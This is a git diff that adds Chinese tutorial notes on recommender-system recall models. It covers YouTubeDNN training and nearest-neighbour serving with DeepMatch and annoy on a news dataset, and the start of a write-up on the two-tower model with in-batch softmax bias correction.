+<img src="https://img-blog.csdnimg.cn/fd1849a8881444fbb12490bad7598125.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBATWlyYWNsZTgwNzA=,size_1,color_FFFFFF,t_70,g_se,x_16#pic_center" alt="在这里插入图片描述" style="zoom:70%;" /> 
+</div>
+
+作者这里还启发了一个事情， 从"双塔"的角度再看YouTubeDNN召回模型， 这里的DNN个结构，其实就是一个用户塔， 输入用户的特征，最终通过DNN，编码出了用户的embedding向量。 
+
+而得到用户embedding向量到后面做softmax那块，不是说了会经过一个item embedding矩阵吗？ 其实这个矩阵也可以用一个item塔来实现， 和用户embedding计算的方式类似， 首先各个item通过一个物品塔(输入是item 特征， 输出是item embedding)，这样其实也能得到每个item的embedding，然后做多分类或者是二分类等。  所以**YouTubeDNN召回模型本质上还是双塔结构**， 只不过上面图里面值体现了用户塔。 我看deepmatch包里面实现的时候， 用户特征和item特征分开输入的， 感觉应该就是实现了个双塔。源码倒是没看， 等看了之后再确认。
+
+### 线上服务
+线上服务的时候， YouTube采用了一种最近邻搜索的方法去完成topK推荐，这其实是工程与学术trade-off的结果， model serving过程中对几百万个候选集一一跑模型显然不现实， 所以通过召回模型得到用户和video的embedding之后， 用最近邻搜索的效率会快很多。 
+
+我们甚至不用把任何model inference的过程搬上服务器，只需要把user embedding和video embedding存到redis或者内存中就好了。like this:
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/86751a834d224ad69220b5040e0e03c9.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBATWlyYWNsZTgwNzA=,size_1,color_FFFFFF,t_70,g_se,x_16#pic_center" alt="在这里插入图片描述" style="zoom:70%;" /> 
+</div>
+
+在线上，可以根据用户兴趣Embedding，采用类似Faiss等高效Embedding检索工具，快速找出和用户兴趣匹配的物品， 高效embedding检索工具， 我目前接触到了两个，一个是Faiss， 一个是annoy， 关于这两个工具的使用， 我也整理了两篇文章:
+* [annoy(快速近邻向量搜索包)学习小记](https://blog.csdn.net/wuzhongqiang/article/details/122516942?spm=1001.2014.3001.5501)
+* [Faiss(Facebook开源的高效相似搜索库)学习小记](https://blog.csdn.net/wuzhongqiang/article/details/122516942?spm=1001.2014.3001.5501)
+
+
+之前写新闻推荐比赛的时候用过Faiss， 这次实验中使用的是annoy工具包。
+
+另外多整理一点：
+>我们做线上召回的时候， 其实可以有两种:
+>1. item_2_item: 因为我们有了所有item的embedding了， 那么就可以进行物品与物品之间相似度计算，每个物品得到近似的K个， 这时候，就和协同过滤原理一样， 之间通过用户观看过的历史item，就能进行相似召回了， 工程实现上，一般会每个item建立一个相似度倒排表
+>2. user_2_item: 将item用faiss或者annoy组织成index，然后用user embedding去查相近item
+
+## 基于Deepmatch包YouTubeDNN的使用方法
+由于时间原因， 我这里并没有自己写代码复现YouTubeDNN模型，这个结构也比较简单， 几层的DNN，自己再写一遍剖析架构也没有啥意思， 所以就采用浅梦大佬写的deepmatch包， 直接用到了自己的数据集上做了实验。 关于Deepmatch源码， 还是看[deepmatch项目](https://github.com/shenweichen/DeepMatch)， 这里主要是整理下YouTubeDNN如何用。
+
+项目里面其实给出了如何使用YouTubeDNN，采用的是movielens数据集， 见[这里](https://github.com/shenweichen/DeepMatch/blob/master/examples/run_youtubednn.py)
+
+我这里就基于我做实验用的新闻推荐数据集， 把代码的主要逻辑过一遍。
+
+### 数据集
+实验用的数据集是新闻推荐的一个数据集，是做func-rec项目时候一个伙伴分享的，来自于某个推荐比赛，因为这个数据集是来自工业上的真实数据，所以使用起来比之前用的movielens数据集可尝试的东西多一些，并且原数据有8个多G，总共3个文件: 用户画像，文章画像， 点击日志，用户数量100多万，6000多万次点击， 文章规模是几百，数据量也比较丰富，所以后面就打算采用这个统一的数据集， 重新做实验，对比目前GitHub上的各个模型。关于数据集每个文件详细描述，后面会更新到GitHub项目。
+
+这里只整理我目前的使用过程， 由于有8个多G的数据，我这边没法直接跑，所以对数据进行了采样， 采样方法写成了一个jupyter文件。 主要包括：
+1. 分块读取数据， 无法一下子读入内存
+2. 对于每块数据，基于一些筛选规则进行记录的删除，比如只用了后7天的数据， 删除了一些文章不在物料池的数据， 删除不合法的点击记录(曝光时间大于文章上传时间)， 删除没有历史点击的用户，删除观看时间低于3s的视频， 删除历史点击序列太短和太长的用户记录
+3. 删除完之后重新保存一份新数据集，大约3个G，然后再从这里面随机采样了20000用户进行了后面实验
+
+通过上面的一波操作， 我的小本子就能跑起来了，当然可能数据比较少，最终训练的YouTubeDNN效果并不是很好。详细看后面GitHub的: `点击日志数据集初步处理与采样.ipynb`
+
+### 简单数据预处理
+这个也是写成了一个笔记本， 主要是看了下采样后的数据，序列长度分布等，由于上面做了一些规整化，这里有毛病的数据不是太多，并没有太多处理， 但是用户数据里面的年龄，性别源数据是给出了多种可能， 每个可能有概率值，我这里选出了概率最大的那个，然后简单填充了缺失。
+
+最后把能用到的用户画像和文章画像统一拼接到了点击日志数据，又保存了一份。 作为YouTubeDNN模型的使用数据， 其他模型我也打算使用这份数据了。
+
+详见`EDA与数据预处理.ipynb`
+
+### YouTubeDNN召回
+这里就需要解释下一些代码了， 首先拿到采样的数据集，我们先划分下训练集和测试集:
+* 测试集: 每个用户的最后一次点击记录
+* 训练集: 每个用户除最后一次点击的所有点击记录
+
+这个具体代码就不在这里写了。
+
+```python
+user_click_hist_df, user_click_last_df = get_hist_and_last_click(click_df)
+```
+
+这么划分的依据，就是保证不能发生数据穿越，拿最后的测试，不能让模型看到。
+
+接下来，就是YouTubeDNN模型的召回，从构造数据集 -> 训练模型 -> 产生召回结果，我写到了一个函数里面去。
+
+```cpp
+def youtubednn_recall(data, topk=200, embedding_dim=8, his_seq_maxlen=50, negsample=0,
+                      batch_size=64, epochs=1, verbose=1, validation_split=0.0):
+    """通过YouTubeDNN模型，计算用户向量和文章向量
+    param: data: 用户日志数据
+    topk: 对于每个用户，召回多少篇文章
+    """
+    user_id_raw = data[['user_id']].drop_duplicates('user_id')
+    doc_id_raw = data[['article_id']].drop_duplicates('article_id')
+    
+    # 类别数据编码   
+    base_features = ['user_id', 'article_id', 'city', 'age', 'gender']
+    feature_max_idx = {}
+    for f in base_features:
+        lbe = LabelEncoder()
+        data[f] = lbe.fit_transform(data[f])
+        feature_max_idx[f] = data[f].max() + 1
+        
+    # 构建用户id词典和doc的id词典，方便从用户idx找到原始的id
+    user_id_enc = data[['user_id']].drop_duplicates('user_id')
+    doc_id_enc = data[['article_id']].drop_duplicates('article_id')
+    user_idx_2_rawid = dict(zip(user_id_enc['user_id'], user_id_raw['user_id']))
+    doc_idx_2_rawid = dict(zip(doc_id_enc['article_id'], doc_id_raw['article_id']))
+    
+    # 保存下每篇文章的被点击数量， 方便后面高热文章的打压
+    doc_clicked_count_df = data.groupby('article_id')['click'].apply(lambda x: x.count()).reset_index()
+    doc_clicked_count_dict = dict(zip(doc_clicked_count_df['article_id'], doc_clicked_count_df['click']))
+
+    train_set, test_set = gen_data_set(data, doc_clicked_count_dict, negsample, control_users=True)
+    
+    # 构造youtubeDNN模型的输入
+    train_model_input, train_label = gen_model_input(train_set, his_seq_maxlen)
+    test_model_input, test_label = gen_model_input(test_set, his_seq_maxlen)
+    
+    # 构建模型并完成训练
+    model = train_youtube_model(train_model_input, train_label, embedding_dim, feature_max_idx, his_seq_maxlen, batch_size, epochs, verbose, validation_split)
+    
+    # 获得用户embedding和doc的embedding， 并进行保存
+    user_embs, doc_embs = get_embeddings(model, test_model_input, user_idx_2_rawid, doc_idx_2_rawid)
+    
+    # 对每个用户，拿到召回结果并返回回来
+    user_recall_doc_dict = get_youtube_recall_res(user_embs, doc_embs, user_idx_2_rawid, doc_idx_2_rawid, topk)
+    
+    return user_recall_doc_dict
+```
+这里面说一下主要逻辑，主要是下面几步:
+1. 用户id和文章id我们要先建立索引-原始id的字典，因为我们模型里面是要把id转成embedding，模型的表示形式会是{索引: embedding}的形式， 如果我们想得到原始id，必须先建立起映射来
+2. 把类别特征进行label Encoder， 模型输入需要， embedding层需要，这是构建词典常规操作， 这里要记录下每个特征特征值的个数，建词典索引的时候用到，得知道词典大小
+3. 保存了下每篇文章被点击数量， 方便后面对高热文章实施打压
+4. 构建数据集
+
+	```python
+	rain_set, test_set = gen_data_set(data, doc_clicked_count_dict, negsample, control_users=True)
+	```
+	这个需要解释下， 虽然我们上面有了一个训练集，但是这个东西是不能直接作为模型输入的， 第一个原因是正样本太少，样本数量不足，我们得需要滑动窗口，每个用户再滑动构造一些，第二个是不满足deepmatch实现的模型输入格式，所以gen_data_set这个函数，是用deepmatch YouTubeDNN的第一个范式，基本上得按照这个来，只不过我加了一些策略上的尝试:
+	```python
+	def gen_data_set(click_data, doc_clicked_count_dict, negsample, control_users=False):
+	    """构造youtubeDNN的数据集"""
+	    # 按照曝光时间排序
+	    click_data.sort_values("expo_time", inplace=True)
+	    item_ids = click_data['article_id'].unique()
+	    
+	    train_set, test_set = [], []
+	    for user_id, hist_click in tqdm(click_data.groupby('user_id')):
+	        # 这里按照expo_date分开，每一天用滑动窗口滑，可能相关性更高些,另外，这样序列不会太长，因为eda发现有点击1111个的
+	        #for expo_date, hist_click in hist_date_click.groupby('expo_date'):
+	        # 用户当天的点击历史id
+	        pos_list = hist_click['article_id'].tolist()
+	        user_control_flag = True
+	        
+	        if control_users:
+	            user_samples_cou = 0
+	        
+	        # 过长的序列截断
+	        if len(pos_list) > 50:
+	            pos_list = pos_list[-50:]
+	
+	        if negsample > 0:
+	            neg_list = gen_neg_sample_candiate(pos_list, item_ids, doc_clicked_count_dict, negsample, methods='multinomial')
+	        
+	        # 只有1个的也截断 去掉，当然我之前做了处理，这里没有这种情况了
+	        if len(pos_list) < 2:
+	            continue
+	        else:
+	            # 序列至少是2
+	            for i in range(1, len(pos_list)):
+	                hist = pos_list[:i]
+	                # 这里采用打压热门item策略，降低高展item成为正样本的概率
+	                freq_i = doc_clicked_count_dict[pos_list[i]] / (np.sum(list(doc_clicked_count_dict.values())))
+	                p_posi = (np.sqrt(freq_i/0.001)+1)*(0.001/freq_i)
+	                
+	                # p_posi=0.3  表示该item_i成为正样本的概率是0.3，
+	                if user_control_flag and i != len(pos_list) - 1:
+	                    if random.random() > (1-p_posi):
+	                        row = [user_id, hist[::-1], pos_list[i], hist_click.iloc[0]['city'], hist_click.iloc[0]['age'], hist_click.iloc[0]['gender'], hist_click.iloc[i]['example_age'], 1, len(hist[::-1])]
+	                        train_set.append(row)
+	                        
+	                        for negi in range(negsample):
+	                            row = [user_id, hist[::-1], neg_list[i*negsample+negi], hist_click.iloc[0]['city'], hist_click.iloc[0]['age'], hist_click.iloc[0]['gender'], hist_click.iloc[i]['example_age'], 0, len(hist[::-1])]
+	                            train_set.append(row)
+	                        
+	                        if control_users:
+	                            user_samples_cou += 1
+	                            # 每个用户序列最长是50， 即每个用户正样本个数最多是50个, 如果每个用户训练样本数量到了30个，训练集不能加这个用户了
+	                            if user_samples_cou > 30:  
+	                                user_samples_cou = False
+	                
+	                # 整个序列加入到test_set， 注意，这里一定每个用户只有一个最长序列，相当于测试集数目等于用户个数
+	                elif i == len(pos_list) - 1:
+	                    row = [user_id, hist[::-1], pos_list[i], hist_click.iloc[0]['city'], hist_click.iloc[0]['age'], hist_click.iloc[0]['gender'], 0, 0, len(hist[::-1])]
+	                    test_set.append(row)
+	    
+	    
+	    random.shuffle(train_set)
+	    random.shuffle(test_set)
+	    
+	    return train_set, test_set   
+	```
+	关键代码逻辑是首先点击数据按照时间戳排序，然后按照用户分组，对于每个用户的历史点击， 采用滑动窗口的形式，边滑动边构造样本， 第一个注意的地方，是每滑动一次生成一条正样本的时候， 要加入一定比例的负样本进去， 第二个注意最后一整条序列要放到test_set里面。<br><br>我这里面加入的一些策略，负样本候选集生成我单独写成一个函数，因为尝试了随机采样和打压热门item采样两种方式， 可以通过methods参数选择。 另外一个就是正样本里面也按照热门实现了打压， 减少高热item成为正样本概率，增加高热item成为负样本概率。  还加了一个控制用户样本数量的参数，去保证每个用户生成一样多的样本数量，打压下高活用户。
+5. 构造模型输入
+	这个也是调包的定式操作，必须按照这个写法来:
+	
+
+	```python
+	def gen_model_input(train_set, his_seq_max_len):
+	    """构造模型的输入"""
+	    # row: [user_id, hist_list, cur_doc_id, city, age, gender, label, hist_len]
+	    train_uid = np.array([row[0] for row in train_set])
+	    train_hist_seq = [row[1] for row in train_set]
+	    train_iid = np.array([row[2] for row in train_set])
+	    train_u_city = np.array([row[3] for row in train_set])
+	    train_u_age = np.array([row[4] for row in train_set])
+	    train_u_gender = np.array([row[5] for row in train_set])
+	    train_u_example_age = np.array([row[6] for row in train_set])
+	    train_label = np.array([row[7] for row in train_set])
+	    train_hist_len = np.array([row[8] for row in train_set])
+	    
+	    train_seq_pad = pad_sequences(train_hist_seq, maxlen=his_seq_max_len, padding='post', truncating='post', value=0)
+	    train_model_input = {
+	        "user_id": train_uid,
+	        "click_doc_id": train_iid,
+	        "hist_doc_ids": train_seq_pad,
+	        "hist_len": train_hist_len,
+	        "u_city": train_u_city,
+	        "u_age": train_u_age,
+	        "u_gender": train_u_gender, 
+	        "u_example_age":train_u_example_age
+	    }
+	    return train_model_input, train_label
+	```
+	上面构造数据集的时候，是把每个特征加入到了二维数组里面去， 这里得告诉模型，每一个维度是啥特征数据。如果相加特征，首先构造数据集的时候，得把数据加入到数组中， 然后在这个函数里面再指定新加入的特征是啥。 下面的那个词典， 是为了把数据输入和模型的Input层给对应起来，通过字典键进行标识。
+6. 训练YouTubeDNN
+	这一块也是定式， 在建模型事情，要把特征封装起来，告诉模型哪些是离散特征，哪些是连续特征， 模型要为这些特征建立不同的Input层，处理方式是不一样的
+	
+	```python
+	def train_youtube_model(train_model_input, train_label, embedding_dim, feature_max_idx, his_seq_maxlen, batch_size, epochs, verbose, validation_split):
+	    """构建youtubednn并完成训练"""
+	    # 特征封装
+	    user_feature_columns = [
+	        SparseFeat('user_id', feature_max_idx['user_id'], embedding_dim),
+	        VarLenSparseFeat(SparseFeat('hist_doc_ids', feature_max_idx['article_id'], embedding_dim,
+	                                                        embedding_name="click_doc_id"), his_seq_maxlen, 'mean', 'hist_len'),    
+	        
+	        SparseFeat('u_city', feature_max_idx['city'], embedding_dim),
+	        SparseFeat('u_age', feature_max_idx['age'], embedding_dim),
+	        SparseFeat('u_gender', feature_max_idx['gender'], embedding_dim),
+	        DenseFeat('u_example_age', 1,)
+	    ]
+	    doc_feature_columns = [
+	        SparseFeat('click_doc_id', feature_max_idx['article_id'], embedding_dim)
+	        # 这里后面也可以把文章的类别画像特征加入
+	    ]
+	    
+	    # 定义模型
+	    model = YoutubeDNN(user_feature_columns, doc_feature_columns, num_sampled=5, user_dnn_hidden_units=(64, embedding_dim))
+	    
+	    # 模型编译
+	    model.compile(optimizer="adam", loss=sampledsoftmaxloss)
+	    
+	    # 模型训练，这里可以定义验证集的比例，如果设置为0的话就是全量数据直接进行训练
+	    history = model.fit(train_model_input, train_label, batch_size=batch_size, epochs=epochs, verbose=verbose, validation_split=validation_split)
+	    
+	    return model
+	```
+	然后就是建模型，编译训练即可。这块就非常简单了，当然模型方面有些参数，可以了解下，另外一个注意点，就是这里用户特征和item特征进行了分开， 这其实和双塔模式很像， 用户特征最后编码成用户向量， item特征最后编码成item向量。
+7. 获得用户向量和item向量
+	模型训练完之后，就能从模型里面拿用户向量和item向量， 我这里单独写了一个函数:
+
+	```python
+	 获取用户embedding和文章embedding
+	def get_embeddings(model, test_model_input, user_idx_2_rawid, doc_idx_2_rawid, save_path='embedding/'):
+	    doc_model_input = {'click_doc_id':np.array(list(doc_idx_2_rawid.keys()))}
+	    
+	    user_embedding_model = Model(inputs=model.user_input, outputs=model.user_embedding)
+	    doc_embedding_model = Model(inputs=model.item_input, outputs=model.item_embedding)
+	    
+	    # 保存当前的item_embedding 和 user_embedding 排序的时候可能能够用到，但是需要注意保存的时候需要和原始的id对应
+	    user_embs = user_embedding_model.predict(test_model_input, batch_size=2 ** 12)
+	    doc_embs = doc_embedding_model.predict(doc_model_input, batch_size=2 ** 12)
+	    # embedding保存之前归一化一下
+	    user_embs = user_embs / np.linalg.norm(user_embs, axis=1, keepdims=True)
+	    doc_embs = doc_embs / np.linalg.norm(doc_embs, axis=1, keepdims=True)
+	    
+	    # 将Embedding转换成字典的形式方便查询
+	    raw_user_id_emb_dict = {user_idx_2_rawid[k]: \
+	                                v for k, v in zip(user_idx_2_rawid.keys(), user_embs)}
+	    raw_doc_id_emb_dict = {doc_idx_2_rawid[k]: \
+	                                v for k, v in zip(doc_idx_2_rawid.keys(), doc_embs)}
+	    # 将Embedding保存到本地
+	    pickle.dump(raw_user_id_emb_dict, open(save_path + 'user_youtube_emb.pkl', 'wb'))
+	    pickle.dump(raw_doc_id_emb_dict, open(save_path + 'doc_youtube_emb.pkl', 'wb'))
+	    
+	    # 读取
+	    #user_embs_dict = pickle.load(open('embedding/user_youtube_emb.pkl', 'rb'))
+	    #doc_embs_dict = pickle.load(open('embedding/doc_youtube_emb.pkl', 'rb'))
+	    return user_embs, doc_embs
+	```
+	获取embedding的这两行代码是固定操作， 下面做了一些归一化操作，以及把索引转成了原始id的形式。
+8. 向量最近邻检索，为每个用户召回相似item
+
+	```python
+	def get_youtube_recall_res(user_embs, doc_embs, user_idx_2_rawid, doc_idx_2_rawid, topk):
+	    """近邻检索，这里用annoy tree"""
+	    # 把doc_embs构建成索引树
+	    f = user_embs.shape[1]
+	    t = AnnoyIndex(f, 'angular')
+	    for i, v in enumerate(doc_embs):
+	        t.add_item(i, v)
+	    t.build(10)
+	    # 可以保存该索引树 t.save('annoy.ann')
+	    
+	    # 每个用户向量， 返回最近的TopK个item
+	    user_recall_items_dict = collections.defaultdict(dict)
+	    for i, u in enumerate(user_embs):
+	        recall_doc_scores = t.get_nns_by_vector(u, topk, include_distances=True)
+	        # recall_doc_scores是(([doc_idx], [scores]))， 这里需要转成原始doc的id
+	        raw_doc_scores = list(recall_doc_scores)
+	        raw_doc_scores[0] = [doc_idx_2_rawid[i] for i in raw_doc_scores[0]]
+	        # 转换成实际用户id
+	        try:
+	            user_recall_items_dict[user_idx_2_rawid[i]] = dict(zip(*raw_doc_scores))
+	        except:
+	            continue
+	    
+	    # 默认是分数从小到大排的序， 这里要从大到小
+	    user_recall_items_dict = {k: sorted(v.items(), key=lambda x: x[1], reverse=True) for k, v in user_recall_items_dict.items()}
+	    
+	    # 保存一份
+	    pickle.dump(user_recall_items_dict, open('youtube_u2i_dict.pkl', 'wb'))
+	    
+	    return user_recall_items_dict
+	```
+	用了用户embedding和item向量，就可以通过这个函数进行检索， 这块主要是annoy包做近邻检索的固定格式， 检索完毕，为用户生成最相似的200个候选item。
+
+以上，就是使用YouTubeDNN做召回的整个流程。 效果如下:
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/e904362d28fd4bdbacb5715ff2abaac2.png#pic_center" alt="在这里插入图片描述" style="zoom:70%;" /> 
+</div>
+
+这个字典长这样:
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/840e3abaf30845499f0926c61ba88635.png#pic_center" alt="在这里插入图片描述" style="zoom:70%;" /> 
+</div>
+
+接下来就是评估模型的效果，这里我采用了简单的HR@N计算的， 具体代码看GitHub吧， 结果如下:
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/eb6ccadaa98e46bd87e594ee11e957a7.png#pic_center" alt="在这里插入图片描述" style="zoom:70%;" /> 
+</div>
+
+结果不怎么样啊，唉， 难道是数据量太少了？  总归是跑起来且能用了。
+
+详细代码见尾部GitHub链接吧， 硬件设施到位的可以尝试多用一些数据试试看哈哈。
+
+## YouTubeDNN新闻推荐数据集的实验记录
+这块就比较简单了，简单的整理下我用上面代码做个的实验，尝试了论文里面的几个点，记录下:
+1. 负采样方式上，尝试了随机负采样和打压高热item两种方式， 从我的实验结果上来看， 带打压的效果略好一点点
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/7cf27f1b849049f0b4bd98d0ebb7925f.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBATWlyYWNsZTgwNzA=,size_1,color_FFFFFF,t_70,g_se,x_16#pic_center" alt="在这里插入图片描述" style="zoom:70%;" /> 
+</div>
+
+2. 特征上， 尝试原论文给出的example age的方式，做一个样本的年龄特征出来
+	这个年龄样本，我是用的训练集的最大时间减去曝光的时间，然后转成小时间隔算的，而测试集里面的统一用0表示， 但效果好差。 看好多文章说这个时间单位是个坑，不知道是小时，分钟，另外这个特征我只做了简单归一化，感觉应该需要做归一化
+    <div align=center>
+    <img src="https://img-blog.csdnimg.cn/1ea482f538c94b8bb07a69023b14ca9b.png#pic_center" alt="在这里插入图片描述" style="zoom:70%;" /> 
+    </div>
+3. 尝试了控制用户数量，即每个用户的样本数量保持一样，效果比上面略差
+    <div align=center>
+    <img src="https://img-blog.csdnimg.cn/8653b76d0b434d1088da196ce94bb954.png#pic_center" alt="在这里插入图片描述" style="zoom:70%;" /> 
+    </div>
+4. 开始模型评估，我尝试用最后一天的，而不是最后一次点击的， 感觉效果不如最后一次点击作为测试集效果好
+
+当然，上面实验并没有太大说服力，第一个是我采样的数据量太少，模型本身训练的不怎么样，第二个这些策略相差的并不是很大， 可能有偶然性。
+
+并且我这边做一次实验，要花费好长时间，探索就先到这里吧， example age那个确实是个迷， 其他的感觉起来， 打压高活效果要比不打压要好。
+
+另外要记录下学习小tricks:
+> 跑一次这样的实验，我这边一般会花费两个小时左右的时间， 而这个时间在做实验之前，一定要做规划才能好好的利用起来， 比如，我计划明天上午要开始尝试各种策略做实验， 今天晚上的todo里面，就要记录好， 我会尝试哪些策略，记录一个表， 调整策略，跑模型的时候，我这段空档要干什么事情， todo里面都要记录好，比如我这段空档就是解读这篇paper，写完这篇博客，基本上是所有实验做完，我这篇博客也差不多写完，正好，哈哈<br><br>这个空档利用，一定要提前在todo里面写好，而不是跑模型的时候再想，这个时候往往啥也干不下去，并且还会时不时的看模型跑，或者盯着进度条发呆，那这段时间就有些浪费了呀，即使这段时间不学习，看个久违的电视剧， 久违的书，或者keep下不香吗哈哈， 但得提前规划。<br><br>可能每个人习惯不一样，对于我，是这样哈，所以记录下 ;)
+
+## 总结
+
+由于这篇文章里面的工程经验太多啦，我前面介绍的时候，可能涉及到知识的一些扩展补充，把经验整理的比较凌乱，这里再统一整理下， 这些也都是工业界常用的一些经验了:
+
+召回部分:
+1. 训练数据的样本来源应该是全部物料， 而不仅仅是被推荐的物料，否则对于新物料难以曝光
+2. 训练数据中对于每个用户选取相同的样本数， 保证用户在损失函数等权重， 这个虽然不一定非得这么做，但考虑打压高活用户或者是高活item的影响还是必须的
+3. 序列无序化: 用户的最近一次搜索与搜索之后的播放行为有很强关联，为了避免信息泄露，将搜索行为顺序打乱。
+4. 训练数据构造: 预测接下来播放而不是用传统cbow中的两侧预测中间的考虑是可以防止信息泄露，并且可以学习到用户的非对称视频消费模式
+5. 召回模型中，类似word2vec，video 有input embedding和output embedding两组embedding，并不是共享的， input embedding论文里面是用w2v事先训练好的， 其实也可以用embedding层联合训练
+6. 召回模型的用户embedding来自网络输出， 而video的embedding往往用后面output处的
+7. 使用 `example age` 特征处理 time bias，这样线上检索时可以预先计算好用户向量
+
+
+**参考资料**：
+* [重读Youtube深度学习推荐系统论文](https://zhuanlan.zhihu.com/p/52169807)
+* [YouTube深度学习推荐系统的十大工程问题](https://zhuanlan.zhihu.com/p/52169807)
+* [你真的读懂了Youtube DNN推荐论文吗](https://zhuanlan.zhihu.com/p/372238343)
+* [推荐系统经典论文(二)】YouTube DNN](https://zhuanlan.zhihu.com/p/128597084)
+* [张俊林-推荐技术发展趋势与召回模型](https://www.icode9.com/content-4-764359.html)
+* [揭开YouTube深度推荐系统模型Serving之谜](https://zhuanlan.zhihu.com/p/61827629)
+* [Deep Neural Networks for YouTube Recommendations YouTubeDNN推荐召回与排序](https://www.pianshen.com/article/82351182400/)
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.2/YoutubeTwoTower.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.2/YoutubeTwoTower.md
new file mode 100644
index 0000000..4bdabd9
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.2/YoutubeTwoTower.md
@@ -0,0 +1,308 @@
+# 背景介绍
+
+**文章核心思想**
+
++ 在大规模的推荐系统中，利用双塔模型对user-item对的交互关系进行建模，学习 $\{user，context\}$ 向量与 $\{item\}$ 向量.
++ 针对大规模流数据，提出in-batch softmax损失函数与流数据频率估计方法(Streaming Frequency Estimation)，可以更好的适应item的多种数据分布。
+
+**文章主要贡献**
+
++ 提出了改进的流数据频率估计方法：针对流数据来估计item出现的频率，利用实验分析估计结果的偏差与方差，模拟实验证明该方法在数据动态变化时的功效
+
++ 提出了双塔模型架构：提供了一个针对大规模的检索推荐系统，包括了 in-batch softmax 损失函数与流数据频率估计方法，减少了负采样在每个batch中可能会出现的采样偏差问题。
+
+# 算法原理
+
+给定一个查询集 $Query: \left\{x_{i}\right\}_{i=1}^{N}$ 和一个物品集$Item:\left\{y_{j}\right\}_{j=1}^{M}$。
+
++ $x_{i} \in X,\quad y_{j} \in \mathcal{Y}$ 是由多种特征（例如：稀疏ID和 Dense 特征）组成的高维混合体。
+
++ 推荐的目标是对于给定一个 $query$，检索到一系列 $item$ 子集用于后续排序推荐任务。
+
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/%E5%9B%BE%E7%89%87image-20220506202824884.png" alt="image-20220506202824884" style="zoom:50%;" />
+
+## 模型目标
+
+模型结构如上图所示，论文旨在对用户和物品建立两个不同的模型，将它们投影到相同维度的空间：
+$$
+u: X \times \mathbb{R}^{d} \rightarrow \mathbb{R}^{k}, v: y \times \mathbb{R}^{d} \rightarrow \mathbb{R}^{k}
+$$
+
+模型的输出为用户与物品向量的内积：
+
+$$
+s(x, y)=\langle u(x, \theta), v(y, \theta)\rangle
+$$
+
+模型的目标是为了学习参数 $\theta$， 样本集被表示为如下格式 $\{query, item, reward \}$：
+
+$$
+\mathcal{T}:=\left\{\left(x_{i}, y_{i}, r_{i}\right)\right\}_{i=1}^{T}
+$$
+
+* 在推荐系统中，$r_i$ 可以扩展来捕获用户对不同候选物品的参与度。
+* 例如，在新闻推荐中 $r_i$ 可以是用户在某篇文章上花费的时间。
+
+## 模型流程
+
+1.  给定用户 $x$，基于 softmax 函数从物料库 $M$ 中选中候选物品 $y$ 的概率为：
+    $$
+    \mathcal{P}(y \mid x ; \theta)=\frac{e^{s(x, y)}}{\sum_{j \in[M]} e^{s\left(x, y_{j}\right)}}
+    $$
+
+    * 考虑到相关奖励 $r_i$ ，加权对数似然函数的定义如下：  
+
+      $$
+      L_{T}(\theta):=-\frac{1}{T} \sum_{i \in[T]} r_{i} \cdot \log \left(\mathcal{P}\left(y_{i} \mid x_{i} ; \theta\right)\right)
+      $$
+
+2.  原表达式 $\mathcal{P}(y \mid x ; \theta)$ 中的分母需要遍历物料库中所有的物品，计算成本太高，故对分母中的物品要进行负采样。为了提高负采样的速度，一般是直接从训练样本所在 Batch 中进行负样本选择。于是有：
+    $$
+    \mathcal{P}_{B}\left(y_{i} \mid x_{i} ; \theta\right)=\frac{e^{s\left(x_{i}, y_{i}\right)}}{\sum_{j \in[B]} e^{s\left(x_{i}, y_{j}\right)}}
+    $$
+
+    * 其中，$B$ 表示与样本 $\{x_i,y_j\}$ 同在一个 Batch 的物品集合。
+    * 举例来说，对于用户1，Batch 内其他用户的正样本是用户1的负样本。
+
+3.  一般而言，负采样分为 Easy Negative Sample 和 Hard Negative Sample。
+
+    + 这里的 Easy Negative Sample 一般是直接从全局物料库中随机选取的负样本，由于每个用户感兴趣的物品有限，而物料库又往往很大，故即便从物料库中随机选取负样本，也大概率是用户不感兴趣的。
+
+    + 在真实场景中，热门物品占据了绝大多数的购买点击。而这些热门物品往往只占据物料库物品的少部分，绝大部分物品是冷门物品。
+
+      + 在物料库中随机选择负样本，往往被选中的是冷门物品。这就会造成马太效应，热门物品更热，冷门物品更冷。
+      + 一种解决方式时，在对训练样本进行负采样时，提高热门物品被选为负样本的概率，工业界的经验做法是物品被选为负样本的概率正比于物品点击次数的 0.75 次幂。
+
+    + 前面提到 Batch 内进行负采样，热门物品出现在一个 Batch 的概率正比于它的点击次数。问题是，热门物品被选为负样本的概率过高了（一般正比于点击次数的 0.75 次幂），导致热门物品被过度打压。
+
+    + 在本文中，为了避免对热门物品进行过度惩罚，进行了纠偏。公式如下：
+      $$
+      s^{c}\left(x_{i}, y_{j}\right)=s\left(x_{i}, y_{j}\right)-\log \left(p_{j}\right)
+      $$
+
+      + 在内积 $s(x_i,y_j)$ 的基础上，减去了物品 $j$ 的采样概率的对数。
+
+4.  纠偏后，物品 $y$ 被选中的概率为：
+    $$
+    \mathcal{P}_{B}^{c}\left(y_{i} \mid x_{i} ; \theta\right)=\frac{e^{s^{c}\left(x_{i}, y_{i}\right)}}{e^{s^{c}\left(x_{i}, y_{i}\right)}+\sum_{j \in[B], j \neq i} e^{s^{c}\left(x_{i}, y_{j}\right)}}
+    $$
+
+    + 此时，batch loss function 的表示式如下：
+
+    $$
+    L_{B}(\theta):=-\frac{1}{B} \sum_{i \in[B]} r_{i} \cdot \log \left(\mathcal{P}_{B}^{c}\left(y_{i} \mid x_{i} ; \theta\right)\right)
+    $$
+    + 通过 SGD 和学习率，来优化模型参数 $\theta$ ：
+
+    $$
+    \theta \leftarrow \theta-\gamma \cdot \nabla L_{B}(\theta)
+    $$
+
+5. Normalization and Temperature
+
